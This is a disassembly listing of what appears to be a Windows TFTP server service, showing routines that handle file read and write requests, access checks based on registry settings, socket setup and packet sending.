loc_1002E80: ; CODE XREF: sub_1002CE6+192j
mov eax, [edi+2Ch]
sub eax, 4
cmp eax, [edi+20h]
jnb short loc_1002EB3
mov eax, [esi+10004h]
cmp eax, ebx
jz short loc_1002EA3
push ebx
push eax
push dword_10060A0
call ds:RtlDeleteTimer ; RtlDeleteTimer
loc_1002EA3: ; CODE XREF: sub_1002CE6+1ADj
mov [esi+10004h], ebx
mov dword ptr [esi+10008h], 4
loc_1002EB3: ; CODE XREF: sub_1002CE6+A4j
; sub_1002CE6+B0j ...
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
xor eax, eax
loc_1002EBC: ; CODE XREF: sub_1002CE6+10Cj
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002CE6 endp
; =============== S U B R O U T I N E =======================================
sub_1002EC3 proc near ; CODE XREF: sub_1002EC8+22p
; sub_1002EC8+2Bp
xor eax, eax
retn 8
sub_1002EC3 endp
; =============== S U B R O U T I N E =======================================
sub_1002EC8 proc near ; CODE XREF: sub_1001A91+254p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+8]
call sub_10028B5
test eax, eax
jz short loc_1002F0A
mov ecx, [eax+24h]
dec ecx
jz short loc_1002F03
dec ecx
jz short loc_1002EFA
dec ecx
jz short loc_1002EF1
dec ecx
jnz short loc_1002F0A
push esi
push eax
call sub_1002EC3
jmp short loc_1002F0A
; ---------------------------------------------------------------------------
loc_1002EF1: ; CODE XREF: sub_1002EC8+1Bj
push esi
push eax
call sub_1002EC3
jmp short loc_1002F0A
; ---------------------------------------------------------------------------
loc_1002EFA: ; CODE XREF: sub_1002EC8+18j
push esi ; int
push eax ; lpCriticalSection
call sub_1002CE6
jmp short loc_1002F0A
; ---------------------------------------------------------------------------
loc_1002F03: ; CODE XREF: sub_1002EC8+15j
push esi ; int
push eax ; lpCriticalSection
call sub_1002B5E
loc_1002F0A: ; CODE XREF: sub_1002EC8+Fj
; sub_1002EC8+1Ej ...
pop esi
retn 4
sub_1002EC8 endp
; =============== S U B R O U T I N E =======================================
sub_1002F0E proc near ; CODE XREF: sub_1002F31+20p
; sub_100333A+41p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
xor eax, eax
cmp [esp+arg_4], eax
jbe short loc_1002F27
loc_1002F16: ; CODE XREF: sub_1002F0E+17j
mov ecx, [esp+arg_0]
cmp byte ptr [eax+ecx], 0
jz short loc_1002F2C
inc eax
cmp eax, [esp+arg_4]
jb short loc_1002F16
loc_1002F27: ; CODE XREF: sub_1002F0E+6j
xor eax, eax
locret_1002F29: ; CODE XREF: sub_1002F0E+21j
retn 8
; ---------------------------------------------------------------------------
loc_1002F2C: ; CODE XREF: sub_1002F0E+10j
push 1
pop eax
jmp short locret_1002F29
sub_1002F0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002F31 proc near ; CODE XREF: sub_1001A91+223p
; DATA XREF: sub_1001A91+1FCo
name = sockaddr ptr -28h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
to = dword ptr -8
Src = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
and [ebp+var_10], 0
and [ebp+var_14], 0
push esi
mov esi, [ebp+arg_0]
push edi
push 0FFBAh
lea ebx, [esi+36h]
push ebx
mov [ebp+var_18], ebx
call sub_1002F0E
test eax, eax
jz loc_100330F
mov edi, ebx
or ecx, 0FFFFFFFFh
xor eax, eax
push 10034h ; Size
repne scasb
not ecx
dec ecx
lea eax, [ecx+ebx+1]
mov [ebp+Src], eax
call ds:malloc ; malloc
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_1003331
mov ecx, 400Dh
xor eax, eax
mov edi, ebx
rep stosd
push dword ptr [esi+10h] ; in
call ds:inet_ntoa ; inet_ntoa
mov [ebp+to], eax
mov ax, [esi+0Eh]
push eax ; hostshort
call ds:htons ; htons
mov edi, [ebp+Src]
mov [ebp+var_C], edi
mov al, [edi]
test al, al
jz short loc_1002FCD
loc_1002FB5: ; CODE XREF: sub_1002F31+97j
movsx eax, al
push eax ; C
call ds:tolower ; tolower
mov [edi], al
mov al, [edi+1]
inc edi
pop ecx
test al, al
jnz short loc_1002FB5
mov [ebp+var_C], edi
loc_1002FCD: ; CODE XREF: sub_1002F31+82j
mov edi, [ebp+Src]
mov eax, offset aNetascii ; "netascii"
loc_1002FD5: ; CODE XREF: sub_1002F31+C0j
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_1002FF7
test cl, cl
jz short loc_1002FF3
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_1002FF7
inc edi
inc edi
inc eax
inc eax
test cl, cl
jnz short loc_1002FD5
loc_1002FF3: ; CODE XREF: sub_1002F31+AEj
xor eax, eax
jmp short loc_1002FFC
; ---------------------------------------------------------------------------
loc_1002FF7: ; CODE XREF: sub_1002F31+AAj
; sub_1002F31+B8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_1002FFC: ; CODE XREF: sub_1002F31+C4j
test eax, eax
jz short loc_1003037
mov edi, [ebp+Src]
mov eax, offset aOctet ; "octet"
loc_1003008: ; CODE XREF: sub_1002F31+F3j
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_100302A
test cl, cl
jz short loc_1003026
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_100302A
inc edi
inc edi
inc eax
inc eax
test cl, cl
jnz short loc_1003008
loc_1003026: ; CODE XREF: sub_1002F31+E1j
xor eax, eax
jmp short loc_100302F
; ---------------------------------------------------------------------------
loc_100302A: ; CODE XREF: sub_1002F31+DDj
; sub_1002F31+EBj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100302F: ; CODE XREF: sub_1002F31+F7j
test eax, eax
jnz loc_10032F6
loc_1003037: ; CODE XREF: sub_1002F31+CDj
mov edi, [ebp+var_18]
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esi+1FFADh]
repne scasb
not ecx
sub edi, ecx
push edx
mov eax, ecx
mov esi, edi
mov edi, edx
mov [ebp+Src], edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call sub_100261E
test eax, eax
jnz short loc_1003071
push offset aMalformedFileN ; "Malformed file name"
jmp short loc_10030CB
; ---------------------------------------------------------------------------
loc_1003071: ; CODE XREF: sub_1002F31+137j
push [ebp+to]
push offset Data
call sub_10039D6
test eax, eax
jnz short loc_1003093
push [ebp+to]
push offset byte_1005D20
call sub_10039D6
test eax, eax
jz short loc_10030A4
loc_1003093: ; CODE XREF: sub_1002F31+14Fj
push [ebp+Src]
push offset byte_1005D58
call sub_10039D6
test eax, eax
jnz short loc_10030B0
loc_10030A4: ; CODE XREF: sub_1002F31+160j
call ds:_errno ; _errno
push 0
push 2
jmp short loc_1003100
; ---------------------------------------------------------------------------
loc_10030B0: ; CODE XREF: sub_1002F31+171j
push (offset dword_1005E07+1) ; int
push 0FFBCh ; int
push [ebp+Src] ; Src
call sub_100273D
test eax, eax
jnz short loc_10030CF
push offset aFileNameTooLon ; "File name too long"
loc_10030CB: ; CODE XREF: sub_1002F31+13Ej
push 0
jmp short loc_1003100
; ---------------------------------------------------------------------------
loc_10030CF: ; CODE XREF: sub_1002F31+193j
push 8000h
push [ebp+Src]
call ds:_open ; _open
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebx+1002Ch], eax
jnz short loc_1003116
mov esi, ds:_errno
call esi ; _errno
push dword ptr [eax] ; dwErrCode
call ds:SetLastError
call esi ; _errno
push 0
push 1
loc_1003100: ; CODE XREF: sub_1002F31+17Dj
; sub_1002F31+19Cj
mov eax, [ebp+arg_0]
push dword ptr [eax+8]
lea ecx, [eax+0FFF1h]
add eax, 0Ch
push ecx
push eax
jmp loc_1003308
; ---------------------------------------------------------------------------
loc_1003116: ; CODE XREF: sub_1002F31+1B7j
mov edi, ds:_lseek
push 2
push 0
push eax
call edi ; _lseek
mov esi, [ebp+arg_0]
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_1003140
push 0
push 0
mov [esi+24h], eax
push dword ptr [ebx+1002Ch]
call edi ; _lseek
add esp, 0Ch
loc_1003140: ; CODE XREF: sub_1002F31+1FBj
cmp eax, 0FFFFFFFFh
jnz short loc_1003159
mov edi, ds:_errno
call edi ; _errno
call edi ; _errno
push dword ptr [eax] ; dwErrCode
call ds:SetLastError
jmp short loc_1003197
; ---------------------------------------------------------------------------
loc_1003159: ; CODE XREF: sub_1002F31+212j
push 0 ; protocol
push 2 ; type
push 2 ; af
call ds:socket ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+Src], edi
jz short loc_1003191
mov eax, [esi+1Ch]
and word ptr [ebp+name.sa_data], 0
mov dword ptr [ebp+name.sa_data+2], eax
lea eax, [ebp+name]
push 10h ; namelen
push eax ; name
push edi ; s
mov [ebp+name.sa_family], 2
call ds:bind ; bind
test eax, eax
jz short loc_10031A3
loc_1003191: ; CODE XREF: sub_1002F31+23Cj
call ds:WSAGetLastError ; WSAGetLastError
loc_1003197: ; CODE XREF: sub_1002F31+226j
push offset aInsufficientRe ; "Insufficient resources"
push 0
jmp loc_10032FA
; ---------------------------------------------------------------------------
loc_10031A3: ; CODE XREF: sub_1002F31+25Ej
push ebx ; lpCriticalSection
mov [esi+8], edi
call ds:InitializeCriticalSection ; InitializeCriticalSection
mov [ebx+20h], edi
add esi, 0Ch
lea edi, [ebx+28h]
mov [ebp+to], esi
movsd
movsd
movsd
movsd
xor edi, edi
push edi ; lpName
push edi ; bInitialState
push edi ; bManualReset
push edi ; lpEventAttributes
call ds:CreateEventA ; CreateEventA
cmp eax, edi
mov [ebx+0FFF8h], eax
jz short loc_10031E8
push 2 ; char
push eax ; hEventObject
push [ebp+Src] ; s
call sub_100188E
cmp eax, edi
mov [ebx+0FFFCh], eax
jnz short loc_10031F3
loc_10031E8: ; CODE XREF: sub_1002F31+2A0j
call ds:GetLastError
jmp loc_1003312
; ---------------------------------------------------------------------------
loc_10031F3: ; CODE XREF: sub_1002F31+2B5j
add ebx, 18h
push ebx
call sub_100287F
push 1
pop esi
push [ebp+Src]
mov [ebp+var_14], esi
call sub_10028B5
mov ebx, eax
cmp ebx, edi
jz loc_1003312
lea edi, [ebx+10028h]
lea eax, [ebx+38h]
push edi ; int
push eax ; int
lea eax, [ebx+10024h]
mov [ebp+var_10], esi
push eax ; int
mov eax, [ebp+var_C]
push esi ; int
mov esi, [ebp+arg_0]
inc eax
push eax ; Str1
push esi ; int
call sub_10023D8
test eax, eax
jnz loc_1003312
cmp [edi], eax
jz short loc_1003255
mov eax, [esi+28h]
imul eax, 3E8h
mov [ebx+10000h], eax
jmp short loc_100325F
; ---------------------------------------------------------------------------
loc_1003255: ; CODE XREF: sub_1002F31+311j
mov dword ptr [ebx+10000h], 3E8h
loc_100325F: ; CODE XREF: sub_1002F31+322j
mov eax, [ebx+10000h]
push 0
push eax
push eax
push dword ptr [ebx+20h]
lea eax, [ebx+10004h]
push offset sub_1002A3D
push eax
push dword_10060A0
call ds:RtlCreateTimer ; RtlCreateTimer
push 1
pop edi
mov [ebx+24h], edi
mov eax, [esi+20h]
push esi
push ebx
mov [ebx+10018h], eax
mov [ebx+10014h], di
call sub_10027E1
push 10h ; tolen
xor ecx, ecx
push [ebp+to] ; to
cmp eax, ecx
mov [ebx+1000Ch], ecx
push ecx ; flags
push dword ptr [ebx+10020h] ; len
jz short loc_10032D9
lea eax, [ebx+38h]
push eax ; buf
push [ebp+Src] ; s
call ds:sendto ; sendto
mov ecx, [ebx+1001Ch]
cmp ecx, [esi+20h]
jnb short loc_10032E9
mov [ebx+10030h], edi
jmp short loc_10032E9
; ---------------------------------------------------------------------------
loc_10032D9: ; CODE XREF: sub_1002F31+386j
add esi, 0FFF1h
push esi ; buf
push [ebp+Src] ; s
call ds:sendto ; sendto
loc_10032E9: ; CODE XREF: sub_1002F31+39Ej
; sub_1002F31+3A6j
cmp eax, 0FFFFFFFFh
jnz short loc_1003312
call ds:WSAGetLastError ; WSAGetLastError
jmp short loc_1003312
; ---------------------------------------------------------------------------
loc_10032F6: ; CODE XREF: sub_1002F31+100j
push 0 ; int
push 4 ; hostshort
loc_10032FA: ; CODE XREF: sub_1002F31+26Dj
push dword ptr [esi+8] ; s
lea eax, [esi+0FFF1h]
add esi, 0Ch
push eax ; int
push esi ; to
loc_1003308: ; CODE XREF: sub_1002F31+1E0j
call sub_100230A
jmp short loc_1003312
; ---------------------------------------------------------------------------
loc_100330F: ; CODE XREF: sub_1002F31+27j
mov ebx, [ebp+arg_0]
loc_1003312: ; CODE XREF: sub_1002F31+2BDj
; sub_1002F31+2DDj ...
test ebx, ebx
jz short loc_1003331
cmp [ebp+var_10], 0
jz short loc_1003323
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1003323: ; CODE XREF: sub_1002F31+3E9j
cmp [ebp+var_14], 0
jnz short loc_1003331
push ebx ; Memory
call ds:free ; free
pop ecx
loc_1003331: ; CODE XREF: sub_1002F31+50j
; sub_1002F31+3E3j ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_1002F31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100333A proc near ; DATA XREF: sub_1001A91+20Fo
name = sockaddr ptr -28h
to = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Src = dword ptr -8
s = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
and [ebp+var_10], 0
and [ebp+var_14], 0
push ebx
push esi
push edi
push 10034h ; Size
call ds:malloc ; malloc
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_1003731
mov ecx, 400Dh
xor eax, eax
mov edi, ebx
push 0FFBAh
rep stosd
mov eax, [ebp+arg_0]
lea esi, [eax+36h]
push esi
mov [ebp+s], esi
call sub_1002F0E
test eax, eax
jz loc_1003712
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [ebp+arg_0]
not ecx
push dword ptr [edi+10h] ; in
dec ecx
lea esi, [ecx+esi+1]
call ds:inet_ntoa ; inet_ntoa
mov [ebp+to], eax
mov ax, [edi+0Eh]
push eax ; hostshort
call ds:htons ; htons
cmp byte ptr [esi], 0
mov edi, esi
mov [ebp+var_C], edi
jz short loc_10033E1
loc_10033BC: ; CODE XREF: sub_100333A+A2j
movsx eax, byte ptr [edi]
push eax ; C
call ds:isupper ; isupper
test eax, eax
movsx eax, byte ptr [edi]
pop ecx
jz short loc_10033D6
push eax ; C
call ds:tolower ; tolower
pop ecx
loc_10033D6: ; CODE XREF: sub_100333A+92j
mov [edi], al
inc edi
cmp byte ptr [edi], 0
jnz short loc_10033BC
mov [ebp+var_C], edi
loc_10033E1: ; CODE XREF: sub_100333A+80j
mov eax, offset aNetascii ; "netascii"
mov edi, esi
loc_10033E8: ; CODE XREF: sub_100333A+CAj
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_100340A
test cl, cl
jz short loc_1003406
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_100340A
inc edi
inc edi
inc eax
inc eax
test cl, cl
jnz short loc_10033E8
loc_1003406: ; CODE XREF: sub_100333A+B8j
xor eax, eax
jmp short loc_100340F
; ---------------------------------------------------------------------------
loc_100340A: ; CODE XREF: sub_100333A+B4j
; sub_100333A+C2j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100340F: ; CODE XREF: sub_100333A+CEj
test eax, eax
jnz short loc_100341F
mov dword ptr [ebx+10030h], 4000h
jmp short loc_100345D
; ---------------------------------------------------------------------------
loc_100341F: ; CODE XREF: sub_100333A+D7j
mov edi, offset aOctet ; "octet"
loc_1003424: ; CODE XREF: sub_100333A+106j
mov cl, [esi]
mov al, cl
cmp cl, [edi]
jnz short loc_1003446
test al, al
jz short loc_1003442
mov cl, [esi+1]
mov al, cl
cmp cl, [edi+1]
jnz short loc_1003446
inc esi
inc esi
inc edi
inc edi
test al, al
jnz short loc_1003424
loc_1003442: ; CODE XREF: sub_100333A+F4j
xor eax, eax
jmp short loc_100344B
; ---------------------------------------------------------------------------
loc_1003446: ; CODE XREF: sub_100333A+F0j
; sub_100333A+FEj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100344B: ; CODE XREF: sub_100333A+10Aj
test eax, eax
jnz loc_10036F8
mov dword ptr [ebx+10030h], 8000h
loc_100345D: ; CODE XREF: sub_100333A+E3j
mov eax, [ebp+arg_0]
mov edi, [ebp+s]
or ecx, 0FFFFFFFFh
lea edx, [eax+1FFADh]
xor eax, eax
repne scasb
not ecx
sub edi, ecx
push edx
mov eax, ecx
mov esi, edi
mov edi, edx
mov [ebp+Src], edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call sub_100261E
test eax, eax
jnz short loc_100349A
push offset aMalformedFileN ; "Malformed file name"
jmp short loc_10034DF
; ---------------------------------------------------------------------------
loc_100349A: ; CODE XREF: sub_100333A+157j
push [ebp+to]
push offset byte_1005D20
call sub_10039D6
test eax, eax
jz loc_10036EC
push [ebp+s]
push offset byte_1005D90
call sub_10039D6
test eax, eax
jz loc_10036EC
push (offset dword_1005E07+1) ; int
push 0FFBCh ; int
push [ebp+Src] ; Src
call sub_100273D
test eax, eax
jnz short loc_10034E6
push offset aFileNameTooLon ; "File name too long"
loc_10034DF: ; CODE XREF: sub_100333A+15Ej
push 0
jmp loc_10036FC
; ---------------------------------------------------------------------------
loc_10034E6: ; CODE XREF: sub_100333A+19Ej
push 180h
push 8302h
push [ebp+Src]
call ds:_open ; _open
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebx+1002Ch], eax
jnz short loc_100351E
mov esi, ds:_errno
call esi ; _errno
call esi ; _errno
push dword ptr [eax] ; dwErrCode
call ds:SetLastError
jmp loc_10036F2
; ---------------------------------------------------------------------------
loc_100351E: ; CODE XREF: sub_100333A+1CBj
xor esi, esi
push esi ; protocol
push 2 ; type
push 2 ; af
call ds:socket ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+s], edi
jnz short loc_1003546
call ds:WSAGetLastError ; WSAGetLastError
push offset aInsufficientRe ; "Insufficient resources"
push esi
jmp loc_10036FC
; ---------------------------------------------------------------------------
loc_1003546: ; CODE XREF: sub_100333A+1F9j
mov word ptr [ebp+name.sa_data], si
mov esi, [ebp+arg_0]
push 10h ; namelen
mov [ebp+name.sa_family], 2
mov eax, [esi+1Ch]
mov dword ptr [ebp+name.sa_data+2], eax
lea eax, [ebp+name]
push eax ; name
push edi ; s
call ds:bind ; bind
test eax, eax
jz short loc_100358A
call ds:WSAGetLastError ; WSAGetLastError
push offset aInsufficientRe ; "Insufficient resources"
push 0
push dword ptr [esi+8]
lea eax, [esi+0FFF1h]
add esi, 0Ch
push eax
push esi
jmp loc_100370D
; ---------------------------------------------------------------------------
loc_100358A: ; CODE XREF: sub_100333A+22Ej
lea eax, [ebx+10028h]
mov [esi+8], edi
push eax ; int
lea eax, [ebx+38h]
push eax ; int
lea eax, [ebx+10024h]
push eax ; int
mov eax, [ebp+var_C]
inc eax
push 2 ; int
push eax ; Str1
push esi ; int
call sub_10023D8
test eax, eax
jnz loc_1003712
push ebx ; lpCriticalSection
call ds:InitializeCriticalSection ; InitializeCriticalSection
mov [ebx+20h], edi
add esi, 0Ch
lea edi, [ebx+28h]
mov [ebp+to], esi
movsd
movsd
movsd
movsd
xor esi, esi
push esi ; lpName
push esi ; bInitialState
push esi ; bManualReset
push esi ; lpEventAttributes
call ds:CreateEventA ; CreateEventA
cmp eax, esi
mov [ebx+0FFF8h], eax
jz short loc_10035F8
push 2
pop edi
push edi ; char
push eax ; hEventObject
push [ebp+s] ; s
call sub_100188E
cmp eax, esi
mov [ebx+0FFFCh], eax
jnz short loc_1003603
loc_10035F8: ; CODE XREF: sub_100333A+2A5j
call ds:GetLastError
jmp loc_1003712
; ---------------------------------------------------------------------------
loc_1003603: ; CODE XREF: sub_100333A+2BCj
add ebx, 18h
push ebx
call sub_100287F
push [ebp+s]
mov [ebp+var_14], 1
call sub_10028B5
mov ebx, eax
cmp ebx, esi
jz loc_1003712
xor esi, esi
mov [ebp+var_10], 1
cmp [ebx+10028h], esi
jz short loc_100364A
mov eax, [ebp+arg_0]
mov eax, [eax+28h]
imul eax, 3E8h
mov [ebx+10000h], eax
jmp short loc_1003654
; ---------------------------------------------------------------------------
loc_100364A: ; CODE XREF: sub_100333A+2FAj
mov dword ptr [ebx+10000h], 3E8h
loc_1003654: ; CODE XREF: sub_100333A+30Ej
mov eax, [ebx+10000h]
push esi
push eax
push eax
push dword ptr [ebx+20h]
lea eax, [ebx+10004h]
push offset sub_1002A3D
push eax
push dword_10060A0
call ds:RtlCreateTimer ; RtlCreateTimer
mov eax, [ebp+arg_0]
mov ecx, [ebx+10024h]
mov [ebx+24h], edi
cmp ecx, esi
mov eax, [eax+20h]
mov [ebx+10018h], eax
lea eax, [ebx+10024h]
jz short loc_10036A1
mov [ebx+10020h], ecx
mov [eax], esi
jmp short loc_10036C5
; ---------------------------------------------------------------------------
loc_10036A1: ; CODE XREF: sub_100333A+35Bj
mov esi, ds:htons
push 4
pop edi
push edi ; hostshort
call esi ; htons
mov [ebx+38h], ax
mov ax, [ebx+10014h]
push eax ; hostshort
call esi ; htons
mov [ebx+3Ah], ax
mov [ebx+10020h], edi
loc_10036C5: ; CODE XREF: sub_100333A+365j
push 10h ; tolen
lea eax, [ebx+38h]
push [ebp+to] ; to
push 0 ; flags
push dword ptr [ebx+10020h] ; len
push eax ; buf
push [ebp+s] ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz short loc_1003712
call ds:WSAGetLastError ; WSAGetLastError
jmp short loc_1003712
; ---------------------------------------------------------------------------
loc_10036EC: ; CODE XREF: sub_100333A+16Fj
; sub_100333A+184j
call ds:_errno ; _errno
loc_10036F2: ; CODE XREF: sub_100333A+1DFj
push 0
push 2
jmp short loc_10036FC
; ---------------------------------------------------------------------------
loc_10036F8: ; CODE XREF: sub_100333A+113j
push 0 ; int
push 4 ; hostshort
loc_10036FC: ; CODE XREF: sub_100333A+1A7j
; sub_100333A+207j ...
mov eax, [ebp+arg_0]
push dword ptr [eax+8] ; s
lea ecx, [eax+0FFF1h]
add eax, 0Ch
push ecx ; int
push eax ; to
loc_100370D: ; CODE XREF: sub_100333A+24Bj
call sub_100230A
loc_1003712: ; CODE XREF: sub_100333A+48j
; sub_100333A+274j ...
test ebx, ebx
jz short loc_1003731
cmp [ebp+var_10], 0
jz short loc_1003723
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1003723: ; CODE XREF: sub_100333A+3E0j
cmp [ebp+var_14], 0
jnz short loc_1003731
push ebx ; Memory
call ds:free ; free
pop ecx
loc_1003731: ; CODE XREF: sub_100333A+21j
; sub_100333A+3DAj ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_100333A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100373A proc near ; CODE XREF: sub_1002CE6+D7p
var_1FF70 = byte ptr -1FF70h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 1FF70h
call _chkstk ; _chkstk
cmp [ebp+arg_C], 8000h
push esi
push edi
jnz short loc_100375A
push [ebp+arg_8]
push [ebp+arg_4]
jmp short loc_1003792
; ---------------------------------------------------------------------------
loc_100375A: ; CODE XREF: sub_100373A+16j
mov edx, [ebp+arg_4]
xor ecx, ecx
xor esi, esi
cmp [ebp+arg_8], ecx
jle short loc_1003790
mov edi, [ebp+arg_10]
loc_1003769: ; CODE XREF: sub_100373A+54j
cmp byte ptr [edi], 0Dh
jnz short loc_1003779
cmp byte ptr [ecx+edx], 0
jnz short loc_1003779
and byte ptr [edi], 0
jmp short loc_100378A
; ---------------------------------------------------------------------------
loc_1003779: ; CODE XREF: sub_100373A+32j
; sub_100373A+38j
mov al, [ecx+edx]
mov [ebp+esi+var_1FF70], al
inc esi
cmp al, 0Dh
jnz short loc_100378A
mov [edi], al
loc_100378A: ; CODE XREF: sub_100373A+3Dj
; sub_100373A+4Cj
inc ecx
cmp ecx, [ebp+arg_8]
jl short loc_1003769
loc_1003790: ; CODE XREF: sub_100373A+2Aj
push esi
push edx
loc_1003792: ; CODE XREF: sub_100373A+1Ej
push [ebp+arg_0]
call ds:_write ; _write
mov edi, eax
add esp, 0Ch
cmp edi, 0FFFFFFFFh
jnz short loc_10037B7
mov esi, ds:_errno
call esi ; _errno
call esi ; _errno
push dword ptr [eax] ; dwErrCode
call ds:SetLastError
loc_10037B7: ; CODE XREF: sub_100373A+69j
mov eax, edi
pop edi
pop esi
leave
retn 14h
sub_100373A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10037BF proc near ; CODE XREF: sub_1001665:loc_10017F3p
hKey = dword ptr -10h
Type = dword ptr -0Ch
cbData = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
lea eax, [ebp+hKey]
push ebx
xor ebx, ebx
push eax ; phkResult
push 0F003Fh ; samDesired
push ebx ; ulOptions
push offset SubKey ; "System\\CurrentControlSet\\Services\\tftpd"...
push 80000002h ; hKey
mov [ebp+var_4], ebx
call ds:RegOpenKeyExA ; RegOpenKeyExA
cmp eax, ebx
jz short loc_10037F6
call ds:GetLastError
xor eax, eax
jmp loc_100390D
; ---------------------------------------------------------------------------
loc_10037F6: ; CODE XREF: sub_10037BF+28j
cmp byte ptr dword_1005E07+1, bl
push edi
push esi
mov esi, ds:RegQueryValueExA
jnz short loc_100383C
lea eax, [ebp+cbData]
mov [ebp+cbData], 1F4h
push eax ; lpcbData
lea eax, [ebp+Type]
push (offset dword_1005E07+1) ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset ValueName ; "directory"
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
cmp eax, ebx
jz short loc_1003831
call ds:GetLastError
jmp short loc_100383C
; ---------------------------------------------------------------------------
loc_1003831: ; CODE XREF: sub_10037BF+68j
push 1
pop eax
cmp [ebp+Type], eax
jnz short loc_100383C
mov [ebp+var_4], eax
loc_100383C: ; CODE XREF: sub_10037BF+45j
; sub_10037BF+70j ...
push 32h
lea eax, [ebp+cbData]
pop edi
push eax ; lpcbData
lea eax, [ebp+Type]
push offset Data ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset aClients ; "clients"
push [ebp+hKey] ; hKey
mov [ebp+cbData], edi
call esi ; RegQueryValueExA
cmp eax, ebx
jz short loc_1003866
call ds:GetLastError
jmp short loc_100386F
; ---------------------------------------------------------------------------
loc_1003866: ; CODE XREF: sub_10037BF+9Dj
cmp [ebp+Type], 1
jnz short loc_100386F
inc [ebp+var_4]
loc_100386F: ; CODE XREF: sub_10037BF+A5j
; sub_10037BF+ABj
lea eax, [ebp+cbData]
mov [ebp+cbData], edi
push eax ; lpcbData
lea eax, [ebp+Type]
push offset byte_1005D20 ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset aMasters ; "masters"
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
cmp eax, ebx
jz short loc_1003896
call ds:GetLastError
jmp short loc_100389F
; ---------------------------------------------------------------------------
loc_1003896: ; CODE XREF: sub_10037BF+CDj
cmp [ebp+Type], 1
jnz short loc_100389F
inc [ebp+var_4]
loc_100389F: ; CODE XREF: sub_10037BF+D5j
; sub_10037BF+DBj
lea eax, [ebp+cbData]
mov [ebp+cbData], edi
push eax ; lpcbData
lea eax, [ebp+Type]
push offset byte_1005D58 ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset aReadable ; "readable"
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
cmp eax, ebx
jz short loc_10038C6
call ds:GetLastError
jmp short loc_10038CF
; ---------------------------------------------------------------------------
loc_10038C6: ; CODE XREF: sub_10037BF+FDj
cmp [ebp+Type], 1
jnz short loc_10038CF
inc [ebp+var_4]
loc_10038CF: ; CODE XREF: sub_10037BF+105j
; sub_10037BF+10Bj
lea eax, [ebp+cbData]
mov [ebp+cbData], edi
push eax ; lpcbData
lea eax, [ebp+Type]
push offset byte_1005D90 ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset aWritable ; "writable"
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
cmp eax, ebx
jz short loc_10038F6
call ds:GetLastError
jmp short loc_10038FF
; ---------------------------------------------------------------------------
loc_10038F6: ; CODE XREF: sub_10037BF+12Dj
cmp [ebp+Type], 1
jnz short loc_10038FF
inc [ebp+var_4]
loc_10038FF: ; CODE XREF: sub_10037BF+135j
; sub_10037BF+13Bj
push [ebp+hKey] ; hKey
call ds:RegCloseKey ; RegCloseKey
mov eax, [ebp+var_4]
pop esi
pop edi
loc_100390D: ; CODE XREF: sub_10037BF+32j
pop ebx
leave
retn
sub_10037BF endp
; =============== S U B R O U T I N E =======================================
sub_1003910 proc near ; CODE XREF: sub_1001665+193p
Dst = byte ptr -1F4h
sub esp, 1F4h
cmp byte ptr dword_1005E07+1, 0
push ebx
push ebp
push esi
push edi
mov ebp, 1F4h
mov ebx, (offset dword_1005E07+1)
jnz short loc_100393D
push ebp ; Count
push offset Source ; "\\tftpdroot\\"
push ebx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
loc_100393D: ; CODE XREF: sub_1003910+1Bj
lea eax, [esp+204h+Dst]
push ebp ; nSize
